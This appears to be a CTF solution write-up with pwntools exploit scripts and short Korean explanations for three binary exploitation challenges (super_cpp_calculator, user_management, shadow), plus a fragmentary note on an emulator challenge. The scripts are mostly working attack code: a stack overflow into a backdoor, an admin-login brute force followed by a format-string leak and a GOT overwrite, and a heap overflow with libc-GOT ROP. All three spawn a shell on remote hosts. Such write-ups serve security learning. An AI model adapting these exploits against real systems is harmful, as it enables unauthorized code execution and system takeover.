super_cpp_calculator

from pwn import *

# p = process("./test")
p = remote("34.171.59.234", 32377)
e = ELF("./test")

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

def integer_calc(a, b):
    p.sendlineafter(b">", b"2")
    p.sendlineafter(b">", str(a))
    p.sendlineafter(b">", str(b))

def float_calc(a, b):
    p.sendlineafter(b">", b"1")
    p.sendlineafter(b">", str(a))
    p.sendlineafter(b">", str(b))

def backdoor(pay):
    p.sendlineafter(b">", b"1337")
    p.sendlineafter(b">", pay)

# gdb.attach(p, """
# b *0x40164a
# b *0x401896           
# """)

integer_calc(9, 9)
float_calc(9.9, 0.001)

backdoor(b"a" * 0x408 + p64(0x40101a) + p64(0x401740))

p.interactive()

백도어 함수 조건 맞추기 → bof

user_management

from pwn import *

# p = process("./user_management", env={"LD_PRELOAD":"./libc.so.6"})
p = remote("34.69.226.63", 31649)
e = ELF("./user_management")

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

def login(username, password):
    p.sendlineafter(b":", b"3")
    p.sendlineafter(b":", username)
    p.sendlineafter(b":", password)

def admin_login():
    p.sendline(b"1")
    p.sendline(b"manage users")
    p.sendline(b"MrAlphaQ")
    p.sendline(b"\\x00")

def create(username, password, desc):
    p.sendlineafter(b":", b"2")
    p.sendlineafter(b":", username)
    p.sendlineafter(b":", password)
    p.sendlineafter(b":", desc)

def bf():
    while(True):
        admin_login()
        success = p.recvline()
        if b"Logged in" in success:
            break

def view():
    p.sendlineafter(b":", b"5")

def logout():
    p.sendlineafter(b":", b"4")

bf()

# ret = 47
# rsp = 46
create(b"/bin/sh", b"a", b"%p_" * 47)
logout()
login(b"/bin/sh", b"a")        
view()

p.recvuntil(b"_")
p.recvuntil(b"_")
libc = int(p.recvuntil(b"_").strip(b"_"), 16) - 0x114887
print("libc_base : " + hex(libc))
one_gadget = libc + 0xebc85
print("one_gadget : " + hex(one_gadget))
libc_got = libc + 0x21a098
system = libc + 0x50d70

for i in range(42):
    p.recvuntil(b"_")
ret_addr = int(p.recvuntil(b"_").strip(b"_"), 16) + 0x8
print("ret_addr : " + hex(ret_addr))

logout()
bf()
pay = '%{}c%6$hn'.format((system & 0xffff)).encode()
pay += '%{}c%7$hn'.format(((system >> 16) & 0xffff) - (system & 0xffff) + 0x10000).encode()

create(pay, b"b", p64(libc_got) + p64(libc_got + 2) + b"a" * 0x180)
logout()
login(pay, b"b")
view()
logout()
login(b"/bin/sh", b"a")
# gdb.attach(p, """
# brva 0x1E63
# brva 0x1dff
# """)

view()
# p.sendlineafter(b":", b"6")

p.interactive()

user 생성하려면 admin 로그인 필요 → pw rand값 0x00으로 시작할까지 브루트 포스 → strcmp우회

fsb를 통해 libc got 덮어서 익스

shadow

from pwn import *

context.arch = 'amd64'

#r = process('./chall')
r = remote('34.44.175.226', 32659)

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def decrypt(cipher):
    key = 0
    plain = 0

    for i in range(1,6):
        bits = 64-12*i
        if(bits < 0): bits = 0
        plain = ((cipher ^ key) >> bits) << bits
        key = plain >> 12
        heap_base = key << 12
    return plain, heap_base

def find_gadget(libc):
    libc_data = open(libc.path, 'rb').read()
    
    addr = libc.sym['login'] 
    for off in range(addr, addr + 0x100000):
        if libc_data[off:off + 3] == b'\\x48\\x8d\\x7c':  # find lea rdi, [rsp+24], ... call j_strncpy
            res = disasm(libc_data[off:off + 20], offset=False, byte=False).replace('\\n', ';')
            if 'call' not in res:
                continue
            first = off
            break
    
    addr = libc.sym['wcscspn']
    for off in range(addr, addr + 0x1000):
        if libc_data[off] == 0xe8:  # find call j_wcschr why 0xe8 ? 
            second = off
            break
    
    return first, second

def find_original_value(libc):
    libc_data = open(libc.path, 'rb').read()
    
    off = libc.sym['memcpy'] + 0xd5
    log.info(f'memcpy = {hex(libc.sym["memcpy"])}')
    if libc_data[off: off + 2] == b'\\x48\\x8d':
        opcode = libc_data[off + 3:off + 7].ljust(8, b'\\x00')
        memcpy_sse2_unaligned_erms_addr = u64(opcode) + off + 7
    
    off = libc.sym['memchr'] + 0xb
    if libc_data[off: off + 2] == b'\\x48\\x8d':
        opcode = libc_data[off + 3:off + 7].ljust(8, b'\\x00')
        memchr_sse2_addr = u64(opcode) + off + 7

    return memcpy_sse2_unaligned_erms_addr, memchr_sse2_addr

def get_got_plt_table(libc):
    it = libc.get_section_by_name('.rela.plt').iter_relocations()
    irelas = []
    r = {}
    for i in it:
        if i['r_info'] == 0x25:
            irelas.append(i)
    revsymbols = defaultdict(list)
    for name, addr in libc.symbols.items():
        revsymbols[addr].append(name)
        if 'got.' in name:
            r[name] = addr
    for i in irelas:
        symname = revsymbols[i['r_addend']]
        r[symname[-1]] = i['r_offset']
    return r

def get_idx(target, base, bytes=8):
    return (target - base) // bytes

def xrop(libc, func):
    table = got_plt_table
    tab = [0 for x in range(0x2b)]
    target = libc.get_section_by_name('.got.plt').header.sh_addr + 0x18
    func_got_plt = table[func]

    tab[get_idx(func_got_plt, target)] = libc.address + first_gadget
    tab[get_idx(table['strncpy'], target)] = libc.address + second_gadget
    tab[get_idx(table['wcschr'], target)] = libc.sym['gets'] + 8
    tab[get_idx(table['memcpy'], target)] = libc.address + orginal_memcpy_addr
    tab[get_idx(table['memchr'], target)] = libc.address + orginal_memchr_addr
    tab[get_idx(table['mempcpy'], target)] = libc.sym['mempcpy']

    return libc.address + target, flat(tab)

def write(index, value):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b'index: ', str(index).encode())
    r.sendlineafter(b'msg: ', value)

def show(index):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b'index: ', str(index).encode())
    r.recvline()
    return r.recvuntil(b'\\n\\n')
    
def exploit():
    r.sendlineafter(b'> ', b'3')

got_plt_table = get_got_plt_table(libc)
first_gadget, second_gadget  = find_gadget(libc)
orginal_memcpy_addr, orginal_memchr_addr = find_original_value(libc)

success(f'orginal_memcpy_addr : {hex(orginal_memcpy_addr)}')
success(f'orginal_memchr_addr : {hex(orginal_memchr_addr)}')

######## heap leak ########

write(0, b'AAAA')
heap_leak, heap_base = decrypt(u64(show(2)[:-2] + b'\\x00\\x00'))

success(f'heap leak = {hex(heap_leak)}')

######## libc leak ########

payload = b''
payload += b'A'*0x20
payload += p64(0x0) # vuln ret
payload += p64(heap_leak - 0xc0)

write(0, payload)
libc.address = u64(show(1)[:-2] + b'\\x00\\x00') - libc.libc_start_main_return

success(f'libc.address = {hex(libc.address)}')

######## exploit ########

rop = ROP(libc)
rdi = rop.find_gadget(["pop rdi", 'ret'])[0]
ret = rdi + 1

# strlen -> strncpy -> wcschr (ROP)
target, payload2 = xrop(libc, 'strlen')

payload1 = b''
payload1 += b'A'*0x20
payload1 += p64(0x0) # vuln ret
payload1 += p64(target)

#gdb.attach(r)
#sleep(2)

write(0, payload1) # overflow main shadow and overwrite vuln shadow msg with target
write(1, payload2) # overwrite target

payload = flat([
    0x1, 0x2, 0x3, 0x4, 0x5,
    ret, ret,
    rdi, libc.search(b"/bin/sh").__next__(), libc.sym['system'] + 27
])

# wcschr(overwritten gets)
r.sendline(payload)
r.recvuntil(b'aa')

r.interactive()

custom shadow stack

shadow 구조체는 힙에 존재하는데 입력받는 함수에서 gets함수로 힙 overflow 취약점 발생

main 함수의 ret_address 값이 들어있는 구조체의 주소인 index 0번에 AAAA를 입력하고, show 함수를 호출하면 OOB 검증 기능이 존재하지 않기 때문에 이미 pop된 shd 구조체 포인터를 참조할 수 있고, 이는 heap 주소를 leak할 수 있기 때문에 heap base를 획득할 수 있다.

write 함수에서 heap overflow 취약점을 이용해서 index 0번(main_shd)에 다음 payload를 보내게 되면 sub_12AF_shd 값에 덮어쓸 수 있기 때문에 next_shd→msg 값을 덮을 수 있다. (이 때, sub_12AF함수는 종료되지 않아서, 해당 함수의 return address 값은 임의 값으로 덮어도 상관이 없다.)이를 main_shd 의 heap 주소로 덮고, show 함수를 호출하여 1번 index를 확인하면 main함수의 return address값을 leak할 수 있고, libc base주소를 얻을 수 있다.

이제 show 기능은 2번 이용해서 이용할 수 없으므로, AAW만 진행할 수 있다. AAW는sub_12AF_shd의 msg값을 덮어서 진행할 수 있기 때문에 특정 주소에 AAW가능

libc got 덮어서 익스

gb

Emulator.c:init_io에는 많은 IO 포트 작업이 정의되어 있음

init_io_reg(VBK, read_VBK, write_VBK);

void write_VBK(byte data){
    bus->VRAM = bus->mapper->VRAM_banks[data];
    bus->mapper->cur_VRAM = data;
}